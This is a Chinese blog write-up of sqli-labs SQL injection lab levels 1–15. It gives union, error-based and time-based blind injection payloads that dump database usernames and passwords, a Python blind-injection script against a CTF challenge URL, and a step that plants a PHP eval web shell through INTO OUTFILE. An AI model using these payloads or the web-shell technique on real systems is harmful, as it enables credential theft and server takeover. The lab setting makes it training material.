sqli 1- 10

谔谔Vv

已于 2024-08-06 09:39:23 修改

阅读量533

点赞数 4

文章标签：数据库

于 2024-08-06 00:36:58 首次发布

本文链接：https://blog.csdn.net/m0_65665796/article/details/140927215

版权

sql靶场

第一关

首先我们需要判断是否存在sql注入点，前端界面提示我使用ID作为参数,在url地址栏输入?id=1

通过输入不同的id值查询数据库相对应的内容，之后判断为数字型还是字符型

根据查询内容判断为字符型且有注入点，再通过联合查询，可以一起查询相同列数，且字段名一样的表

要使用sql语句我们需要逃出单引号的控制，闭合单引号。我们还需要知道联合查询的列数，需要求出当前表的列数，需要使用order by检测他的列数 order by 3 --+,再使用order by 4 --+判断列数

3时正常回显，为4时没有正常回显，知道为3列。使用联合查询

?id=-1'union select 1,2,3--+

根据语法可知union的使用，可以查询相应

?id=-1'union select 1,database(),version()--+

进行爆表，已知mysql中information_schema表中有mysql数据。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出相对应的字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

?id=1  正常回显
?id=1"  报错 ' " LIMIT 0,1 '
?id=1--+  正常

由此判断是数字型注入

根据查看源码知道第二关和第一关就是类型上面的区别

?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

第三关

?id=1  正常
?id=1"  正常
?id=2"  正常
?id=1"--+  正常
?id=;/';[]'    报错 ' ;/';[]'') LIMIT 0,1 '
           
判断是字符型注入，闭合方式是')

?id=1') order by 3--+   正常

判断回显位有三个。

同上第一第二关
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

?id=-1') and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

第四关

通过源码已知和第3关一样只是闭合方式不同

?id=1  正常
?id=2-1  回显和id=2一样，不是数字型
?id=1'  正常
?id=1"   报错'"1"") LIMIT 0,1' 
           
判断是字符型注入，闭合方式是")

?id=-1") and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

第五关

继续判断闭合方式和类型

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型，'闭合。

查看源码已知本关使用的是报错注入

爆表名
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+

爆数据库表名
?id=1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e),3)--+

爆字段名：
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第六关

和第五关一样就是闭合方式不同，换成了=="

第七关

?id=1                  You are in.... Use outfile......提示用文件
?id=1'''''             回显You have an error in your SQL syntax，不告诉我们哪里错了，看不见闭合
?id=1'--+              回显You have an error in your SQL syntax
?id=1'))--+            You are in.... Use outfile......  

说明是字符型注入闭合是   '))

测一下显位

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。

已知第七关是一个文件上传漏洞，通过上传php脚本创建后门，再使用antswork连接

上传test.php后门文件

?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+

http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%3C?php%20@eval($_POST[cmd]);%20?%3E%20into%20outfile%20%22F:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php%22--+

访问界面证明php脚本生效

直接antswork连接

第八关

继续查看闭合方式

?id=1                  You are in.... 
?id=1'''''             无回显，看不见报错
?id=1'--+              无回显，看不见报错
...
...
...
?id=1"--+              You are in....，双引号闭合

说明是字符型注入闭合是  "

?id=1" order by 1--+   回显正常  You are in....
?id=1" order by 2--+   回显正常  You are in....
?id=1" order by 3--+   回显正常  You are in....

判断不了回显位，后来盲注脚本用的时候也不需要。

可能使用的时间盲注
id=1' and sleep(5) --+

猜表名是security
?id=1' and if(left(database(),1)='s',sleep(5),null)--+

?id=1' and if(left(database(),2)='se',sleep(5),null)--+

5秒后返回该界面

第九关

?id=1                  You are in.... 
?id=1'''''             You are in.... 
?id=1""""))))          You are in.... 
?id=1'--+              You are in....
...
...
...
啥都是You are in....（也算是得用时间盲注的一个标志）

判断不了闭合和位数

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了，用脚本的话不需要位数

直接上时间盲注的脚本

import requests
import time
 
s = requests.session()          #创建session对象后，才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库：payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库：payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表：payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段：payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息：payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

第十关

和第九关一样只是闭合方式不同，该关使用的 " 闭合

第十一关

类型转换，为post请求了使用bp抓包查看

使用admin' 报错
使用admin'# 不报错
知道为'闭合

' union select 1,2 #   判断回显

' union select 1,database() # 爆出数据库

爆出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

爆出列名

' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

爆数据
' union select 1,group_concat(username,password) from users #

第十二关

同上第十一关闭合方式不同，该关为") 闭合方式

第十三关

admin'

报错near '111') LIMIT 0,1' at line 1

说明是')闭合

输入') # 或') or 1=1 #

却发现，页面没有回显，考虑使用报错注入、布尔盲注或者时间盲注

1') order by 3#报错

1') order by 2#无回显

所以字段数为2

爆库名
1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

爆表名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

爆列名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

爆数据名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

第十四关

同上13关，闭合方式为 "

第十五关

1' or 1=1--            登录成功图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录失败图片

所以闭合是单引号 '

1' order by 1--             登录失败图片
1' order by 2--             登录失败图片
1' order by 3--             登录失败图片
1' order by 4--             登录失败图片

测不了一点。但是应该是2，而且盲注不需要。

爆库长 admin' and if(length(database())=8,sleep(5),null) #

从左边第一个字母开始，判断库名第一个字母是不是s

admin' and if(left(database(),1)='s',sleep(5),null) #

admin' and if(left(database(),2)='se',sleep(5),null) #

爆表名
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#